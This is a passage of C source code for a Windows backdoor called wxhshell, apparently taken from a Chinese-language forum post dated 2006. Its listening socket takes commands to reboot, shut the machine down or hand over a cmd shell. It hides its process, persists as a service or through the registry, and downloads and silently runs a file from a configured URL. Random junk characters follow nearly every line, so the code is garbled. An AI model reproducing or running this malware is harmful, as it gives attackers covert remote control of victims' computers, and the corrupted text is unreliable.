  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iiC!|`k"  
  } PK2~fJB  
  else { CIC[1,  
Lx[ ,Z,kD  
    switch(cmd[0]) { diT=x52  
  cgT  
  // 帮助 s0"e'  
  case '?': { u{e-G&]^;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \>Zvev!s  
    break; @N.jB#nEb  
  } sen=0SB/  
  // 安装 UKBJ_r  
  case 'i': { 6lFfS!ZFA  
    if(Install()) ~r*P]*51x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dcfe_EuT  
    else nsuX*C7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xge7r3i  
    break; #JW+~FU`  
    } 9pSUIl9|j  
  // 卸载 Ud(`V:d  
  case 'r': { |U' I/A  
    if(Uninstall()) svhI3"r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kxB.,'  
    else rZ03x\2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p Pro }@@  
    break; 5/0j}_pP  
    } 1DJekiWf  
  // 显示 wxhshell 所在路径 (p)!Mq "^  
  case 'p': { sM2MLh'D  
    char svExeFile[MAX_PATH]; b/("Y.r=  
    strcpy(svExeFile,"\n\r"); 6W2hr2Zy9  
      strcat(svExeFile,ExeFile); =H`Q~ Xx  
        send(wsh,svExeFile,strlen(svExeFile),0); ml!5:r>  
    break; dA~ 3>f*b_  
    } 5K%W a]W  
  // 重启 {MBTP;{*~  
  case 'b': { }"s;\?a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  #ToK$8  
    if(Boot(REBOOT)) au@a8MP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lCT{v@pp  
    else { {S.>BXX  
    closesocket(wsh); V"KS[>>f  
    ExitThread(0); :#t*K6dz  
    } 1Y j~fb(  
    break; gE7L L=x  
    } "&+3#D >  
  // 关机 b1?xeG#  
  case 'd': { =d`5f@'rl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t*S." q  
    if(Boot(SHUTDOWN)) hGTV;eU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *C|  
    else { ^s:y/Kd  
    closesocket(wsh); :l u5Uu~  
    ExitThread(0); O6s.<` \  
    } iJh!KEy~A5  
    break; Sm{>rR  
    } P ,mN >  
  // 获取shell Sus;(3EX  
  case 's': { bZwnaM4"F  
    CmdShell(wsh); ~l E _L1-c  
    closesocket(wsh); b{7E;KyY,  
    ExitThread(0); IVxWxM*N<  
    break; V|D] M{O  
  } X@A1#z+s0]  
  // 退出 %eWqQ3{P]  
  case 'x': { }Fb!?['G5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kL*0M<0 (  
    CloseIt(wsh); qdD)e$XW,  
    break; N@T.T=r  
    } ed!>)Cb  
  // 离开 V A^l+Z,d  
  case 'q': { T]9\VW4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); es:2M |#O  
    closesocket(wsh); 6QQfQ,  
    WSACleanup(); qCQ./"8  
    exit(1); 15\Ph[6g  
    break; !  NV#U  
        } *?p|F&J  
  } z_|oCT!6  
  } 5z$,6T  
i'/m4 !>h  
  // 提示信息 ?)4?V\$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(jg#7)  
} ^ZRYRA  
  } W6c]-pc  
+K",^6%1  
  return; /B3R1kNf|  
} ^C)n$L>C0  
'-$XX%TOAc  
// shell模块句柄 Rqip kx  
int CmdShell(SOCKET sock) >pL2*O^{9  
{ q>!L6h5]t  
STARTUPINFO si; i^`9syD  
ZeroMemory(&si,sizeof(si)); A#wEuX=[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I3b"|%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [I*! lbt  
PROCESS_INFORMATION ProcessInfo; mB'3N;~  
char cmdline[]="cmd"; jdA ]2]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v-j3bB  
  return 0; OW;tT=ql  
} $^/0<i$   
<i\A_qqc/  
// 自身启动模式 BHDML.r }M  
int StartFromService(void) 9=l.T/?sf  
{ JAc_kl{4O  
typedef struct R[tC^]ai  
{ \*vHB`.,ey  
  DWORD ExitStatus; Nh?| RE0t  
  DWORD PebBaseAddress; QbFHfA2Ij  
  DWORD AffinityMask; q<vf,D@{ !  
  DWORD BasePriority; I&yVx8aH}  
  ULONG UniqueProcessId; Wzq>JNn y  
  ULONG InheritedFromUniqueProcessId; Rfb?f} j  
}   PROCESS_BASIC_INFORMATION; hS [SRa'.  
#Il_J\#  
PROCNTQSIP NtQueryInformationProcess; PG%0yv%  
R{YzH56M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IXLO>>`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +FG$x/\*0  
C]u',9,  
  HANDLE             hProcess; 9' 1B/{  
  PROCESS_BASIC_INFORMATION pbi; E\7m< 'R  
%V!iQzL1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d[gl]tj9  
  if(NULL == hInst ) return 0; 3L>IX8_   
'_s}o<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Bvj"mL]j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F?+3%>/A @  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {BBw$m,o  
RrrK*Fk8=  
  if (!NtQueryInformationProcess) return 0; unl1*4e+  
K]oM8H1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^y.nDs%ZT7  
  if(!hProcess) return 0; q-$`k  
rt-\g1x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &$FvWFRh#  
6(&Y(/  
  CloseHandle(hProcess); .\Fss(Zn  
<Cpp?DW_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b}!3;:iD  
if(hProcess==NULL) return 0; Z [Xa%~5>5  
`NRH9l>B7  
HMODULE hMod; ` m@U!X  
char procName[255]; : 9!%ZD  
unsigned long cbNeeded; "bQ[CD  
jF"YTr6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >cMd\%^t  
 P\m7 -  
  CloseHandle(hProcess); le)DgIT>=  
8ip7^  
if(strstr(procName,"services")) return 1; // 以服务启动 .Ce8L&cU  
OWjJxORB  
  return 0; // 注册表启动 . v)mZp  
} 0BPMmk  
IakKi4(  
// 主模块 8^^[XbH  
int StartWxhshell(LPSTR lpCmdLine) /c# `5L[  
{ V~MiO.B  
  SOCKET wsl; rZ1Hf11C  
BOOL val=TRUE; $P o}  
  int port=0; $o?@ 0  
  struct sockaddr_in door; eJ8]g49mD6  
W_M'.1 t  
  if(wscfg.ws_autoins) Install(); zoDZZ%{  
[U =Uo*  
port=atoi(lpCmdLine); PaB!,<A  
*4Fr&^M\  
if(port<=0) port=wscfg.ws_port; -4#2/GXNO  
^n.WZUk  
  WSADATA data; ws/63 d*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FN[R(SLbL  
Zi$ziDz&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `b5 @}',  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >RI>J.~  
  door.sin_family = AF_INET; GyI-)Bl DC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ AQp|  
  door.sin_port = htons(port); {i~8 :  
)vB2!H/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y %8op:'  
closesocket(wsl); H5>hx {  
return 1; / jTT5  
} :6kjEI  
h~Q)Uy5N(D  
  if(listen(wsl,2) == INVALID_SOCKET) { >-< 8N-@"n  
closesocket(wsl); uYG^Pc^v  
return 1; hIv@i\`  
} ( n{wg(R  
  Wxhshell(wsl); pI[ZBoR~  
  WSACleanup(); \kam cA  
)U<Y0bZA!  
return 0; )u ?' ;  
I3S9Us-\  
} ?NNn:tiD  
~3h-jK?  
// 以NT服务方式启动 pY8q=Kl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JWP*>\P  
{ V:NI4dv/R  
DWORD   status = 0; XJ0 {  
  DWORD   specificError = 0xfffffff; FE7)E.U  
nQK|n^AU/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hv$yV%.`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m#H3:-h,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ei>m0 ~<\  
  serviceStatus.dwWin32ExitCode     = 0; oT95^y\9  
  serviceStatus.dwServiceSpecificExitCode = 0; E N^Uki`  
  serviceStatus.dwCheckPoint       = 0; RuW!*LI  
  serviceStatus.dwWaitHint       = 0; |dE -^"_  
>cmE t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9?T{}| ?  
  if (hServiceStatusHandle==0) return; ^D67y%  
BfTcI)  
status = GetLastError(); /nx'Z0&+X  
  if (status!=NO_ERROR) *v%rMU7,  
{ L *[K>iW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wRNroQ  
    serviceStatus.dwCheckPoint       = 0; =dP{Gh  
    serviceStatus.dwWaitHint       = 0; c>bq%}  
    serviceStatus.dwWin32ExitCode     = status; 4IdT'  
    serviceStatus.dwServiceSpecificExitCode = specificError; vm23U^VJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O!1TthI  
    return; <msxHw  
  } s$h] G[x  
PG5- ;i/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0pe3L   
  serviceStatus.dwCheckPoint       = 0; +0z 7KO%^^  
  serviceStatus.dwWaitHint       = 0; d?,M/$h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0\{BWNK  
} =;~I_)Pg1  
1{"llD  
// 处理NT服务事件,比如:启动、停止 uv{P,]lK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pj#'}ru!  
{ {y kYW%3s  
switch(fdwControl) wYsZM/lw  
{ jMBiaX`F  
case SERVICE_CONTROL_STOP: l?E a#  
  serviceStatus.dwWin32ExitCode = 0; i@"e,7mSG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <pLT'Y=  
  serviceStatus.dwCheckPoint   = 0; gW(gJ; L,%  
  serviceStatus.dwWaitHint     = 0; |Yi)"-  
  { #:fQ.WWO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pe0x""K  
  } Ft{[ae?4  
  return; Si}HX!s  
case SERVICE_CONTROL_PAUSE: t-%Q`V=[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [V# r7a  
  break; &(rWwOo6  
case SERVICE_CONTROL_CONTINUE: ri~<~oB 2:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1r[@(c0  
  break; .~lKBkS`!  
case SERVICE_CONTROL_INTERROGATE: n_K~ vD  
  break; T>>YNaUL  
};   \J^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+8#H.  
} y9Y1PH7G  
tYW>t9  
// 标准应用程序主函数 d~tuk4F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l":c  
{ "HMP$)d  
G*[P <<je_  
// 获取操作系统版本 cRvvzX  
OsIsNt=GetOsVer(); d4[(8} x$/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tq<2`*Qs  
[}mA`5  
  // 从命令行安装 JEn3`B!*  
  if(strpbrk(lpCmdLine,"iI")) Install(); r WtZj}A  
`<\}FS`'  
  // 下载执行文件 beY=g7|  
if(wscfg.ws_downexe) { Ru!He,k7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @pV5}N[]  
  WinExec(wscfg.ws_filenam,SW_HIDE); j{VGClb=T  
} {xcZ*m!B  
7;`o( [N  
if(!OsIsNt) { hi =XYC,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;_kzcK!l  
HideProc(); fCAiLkT,C[  
StartWxhshell(lpCmdLine); 6" T['6:j  
} k ^'f[|}  
else ?q2j3e[>  
  if(StartFromService()) UO`;&e-DB  
  // 以服务方式启动 AtS;IRN@  
  StartServiceCtrlDispatcher(DispatchTable); z:Sigo_z[  
else H2gj=krK  
  // 普通方式启动 {aKqXL[UP  
  StartWxhshell(lpCmdLine); F#|O@.tDG  
P'@<:S|  
return 0; Upl6:xYrG  
}
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只看该作者 1 发表于: 2006-10-10
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